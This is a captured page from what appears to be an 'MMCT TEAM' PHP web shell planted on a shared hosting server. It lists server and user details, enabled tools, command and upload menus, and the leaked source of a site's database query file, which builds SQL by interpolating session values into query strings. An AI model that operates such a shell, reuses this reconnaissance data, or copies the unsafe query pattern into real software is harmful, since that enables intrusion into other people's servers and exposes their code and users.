MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.142.98.60
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/naturewoodfloor.in/../ppcadsexpert.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/naturewoodfloor.in/../ppcadsexpert.com/site-main-query.php
<?php
///////////////////////////// ADMIN/OWNER INFORMATION /////////////////////////////
$sql_comp_detail=db_query("select * from tbl_admin where 1");
 if(mysqli_num_rows($sql_comp_detail)>0){
  $compDATA=mysqli_fetch_array($sql_comp_detail);
}
?>
<?php
/////////////////////////////// USER INFORMATION /////////////////////////////
if(!empty($_SESSION['login_id'])){

$sql_user_detail=db_query("select * from  tbl_registration where reg_id='$_SESSION[login_id]'");
 if(mysqli_num_rows($sql_user_detail)>0){
  $userDATA=mysqli_fetch_array($sql_user_detail);
}

}
?>
<?php
//////////////////////////// RESELLER INFORMATION /////////////////////////////
if(!empty($_SESSION['resID'])){

$sql_reseller_detail=db_query("select * from  tbl_resellers where reseller_id='$_SESSION[resID]'");
 if(mysqli_num_rows($sql_reseller_detail)>0){
  $resellerDATA=mysqli_fetch_array($sql_reseller_detail);
}

}
?>

MMCT - 2023